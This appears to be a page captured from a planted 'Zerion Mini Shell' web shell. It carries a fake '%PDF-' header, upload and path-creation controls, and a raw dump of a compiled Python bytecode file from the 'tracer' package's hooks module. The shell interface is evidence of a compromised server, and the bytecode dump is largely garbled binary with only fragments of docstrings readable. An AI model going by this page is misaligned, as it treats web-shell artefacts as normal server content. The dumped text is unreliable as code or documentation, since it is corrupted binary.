%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/tracer/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/tracer/__pycache__/hooks.cpython-39.opt-1.pyc

a

"e;�@sHddlZddlmZddlmZiZGdd�de�Zdd�Zdd	�Z	dS)
�N)�
HOOKS_DIRS)�load_sourcec@s eZdZdZdd�Zdd�ZdS)�
HooksObserverz�
	Provides interface for calling user hooks

	When initializing, loads all hooks located in HOOKS_DIRS. Then it can called
	with application name as argument. Observer ensures calling all hooks defined for the application.
	cCs
t�dS�N)�_register_hooks)�self�r�0/usr/lib/python3.9/site-packages/tracer/hooks.py�__init__!szHooksObserver.__init__cCs"|tvrdSdd�t|D�dS)NcSsg|]
}|��qSrr)�.0�frrr	�
<listcomp>(�z*HooksObserver.__call__.<locals>.<listcomp>)�_hooks)r�apprrr	�__call__$szHooksObserver.__call__N)�__name__�
__module__�__qualname__�__doc__r
rrrrr	rsrcs�fdd�}|S)a
	Decorator for tracer hooks.

	Example::

		from tracer import hooks

		@hooks.match("foo")
		def hook_app():
		    print("Hey, application foo was found")

	.. note::
		You can match multiple applications by calling ``@hooks.match`` with list of them.

	cs>t��tkr�n�gD]"}|tvr*gt|<t|�|�q|Sr)�type�listr�append)rr��appsrr	�	decorator;s
zmatch.<locals>.decoratorr)rrrrr	�match+srcCsntD]d}t�|�D]T\}}}|D]D}tj�|�d}zt|tj�||��Wq tybYq Yq 0q qqdS)Nr)r�os�walk�path�splitextr�join�	Exception)Zhook_dir�root�dirs�files�fname�modnamerrr	rDsr)
rZtracer.pathsrZtracer.resources.pycomprr�objectrrrrrrr	�<module>s

Zerion Mini Shell 1.0